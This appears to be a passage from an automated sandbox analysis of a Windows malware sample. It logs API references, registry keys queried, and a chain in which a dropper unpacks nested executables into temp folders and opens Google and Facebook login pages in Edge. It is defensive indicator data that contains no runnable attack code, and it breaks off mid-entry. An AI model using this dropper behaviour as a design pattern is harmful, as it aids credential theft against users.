1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005808) "go3wz13.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007876) "go3wz13.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007876) "KN5EZ95.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007608) "KN5EZ95.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007608) "ny1qE70.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001584) "ny1qE70.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001584) "1eP24vr0.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001700) "1eP24vr0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001700) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001984) "AppLaunch.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001984)34:T7d2,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "go3wz13.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "go3wz13.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "KN5EZ95.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "KN5EZ95.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ny1qE70.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ny1qE70.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1eP24vr0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1eP24vr0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Oo2948.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Oo2948.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "3CC98ik.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3CC98ik.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")35:T4e9,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "cDLTjqPjMRTDiE7.exe.2237874424") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp")36:T4ee,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "5tg3FW0.exe.2804635788") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp")37:T403,"5tg3FW0.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "USESHORTNAME") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE\SUPPORTEDPROTOCOLS") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "APPENDPATH") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\MSEDGE.EXE"; Key: "PATH") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "APPENDPATH") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RUNDLL32.EXE")38:T596,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\go3wz13.exe" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\5tg3FW0.exe" - (UID: 00000000-00005808) "go3wz13.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\KN5EZ95.exe" - (UID: 00000000-00007876) "go3wz13.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\4iO097Yk.exe" - (UID: 00000000-00007876) "KN5EZ95.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\ny1qE70.exe" - (UID: 00000000-00007608) "KN5EZ95.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\3CC98ik.exe" - (UID: 00000000-00007608) "ny1qE70.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\1eP24vr0.exe" - (UID: 00000000-00001584) "ny1qE70.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\2Oo2948.exe" - (UID: 00000000-00001584) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/" - (UID: 00000000-00000700) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login" - (UID: 00000000-00000700)39:T7d6,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.034D0000.00000004.mdmp, 00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000000.74556.05610000.00000004.mdmp, 00000000-00000236.00000000.74556.05680000.00000004.mdmp, 00000000-00000236.00000001.76476.034D0000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.05610000.00000004.mdmp, 00000000-00000236.00000001.76476.05680000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")3a:T4d5,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")3b:T499,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")3c:T1340e,Found reference to API (Indicator: "CheckTokenMembership"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "HeapSetInformation"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "DecryptFileA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetTokenInformation"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegDeleteValueA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FreeSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "OpenProcessToken"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegSetValueExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegQueryValueExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "EqualSid"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RegCloseKey"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetShortPathNameA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FindFirstFileA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetCurrentProcess"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FindNextFileA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FindClose"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LocalAlloc"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "lstrcmpA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CompareStringA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetLastError"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetFileAttributesA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LoadLibraryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "DeleteFileA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GlobalAlloc"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GlobalFree"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CloseHandle"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetFileAttributesA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetProcAddress"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GlobalLock"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LocalFree"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FreeLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GlobalUnlock"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "ReadFile"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SizeofResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "WriteFile"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetDriveTypeA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LoadLibraryExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetFileTime"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetFilePointer"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FindResourceA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateMutexA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "WaitForSingleObject"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "FreeResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetVersion"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetTempPathA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "CreateFileA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "SetEvent"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "TerminateThread"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "GetVersionExA"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: "LockResource"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API (Indicator: 